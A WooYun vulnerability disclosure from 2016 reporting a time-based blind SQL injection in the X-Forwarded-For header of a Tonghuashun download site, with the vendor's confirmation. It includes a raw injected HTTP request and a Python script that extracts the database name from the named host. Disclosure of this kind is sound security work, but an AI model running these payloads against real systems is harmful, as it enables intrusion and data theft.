当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0208655

漏洞标题:同花顺某站存在HTTP头注入(附验证脚本)

相关厂商:同花顺

漏洞作者: Vinc

提交时间:2016-05-14 23:06

修复时间:2016-06-30 09:10

公开时间:2016-06-30 09:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-14: 细节已通知厂商并且等待厂商处理中
2016-05-16: 厂商已经确认,细节仅向厂商公开
2016-05-26: 细节向核心白帽子及相关领域专家公开
2016-06-05: 细节向普通白帽子公开
2016-06-15: 细节向实习白帽子公开
2016-06-30: 细节向公众公开

简要描述:

rt

详细说明:

站点:download.10jqka.com.cn
X-Forwarded-For存在注入
GET /index/download/id/104/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
X-Forwarded-For: 1'+(SELECT (CASE WHEN (length(database())=8) THEN sleep(5) ELSE 1 END))+'
X-Requested-With: XMLHttpRequest
Referer: http://download.10jqka.com.cn
Host: download.10jqka.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

漏洞证明:

123.png


# -*- coding: utf8 -*-
#encoding=utf-8
import httplib
import time
import string
import sys
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print '[%s] Start to retrive MySQL database()' % time.strftime('%H:%M:%S', time.localtime())
database = ''
for i in range(1,9,1):
for payload in payloads:
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
'Referer': 'http://download.10jqka.com.cn','X-Forwarded-For': '1\'+(SELECT (CASE WHEN (ascii(mid(database()from('+str(i)+')for(1)))='+str(ord(payload))+') THEN sleep(8) ELSE 1 END))+\''}
#print '1\'+(SELECT (CASE WHEN (ascii(mid(database()from('+str(i)+')for(1)))='+str(ord(payload))+') THEN sleep(8) ELSE 1 END))+\''
conn = httplib.HTTPConnection('download.10jqka.com.cn', timeout=5)
conn.request(method='GET', url="/index/download/id/104/", headers=headers)
status = conn.getresponse().status
conn.close()
except Exception, e:
#print e
database += payload
print '\r[+]Running:' ,database
time.sleep(0.01)
break
print ''

修复方案:

.

版权声明:转载请注明来源 Vinc@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2016-05-16 09:09

厂商回复:

你好,漏洞已确认,正在进行处理,谢谢。

最新状态:

暂无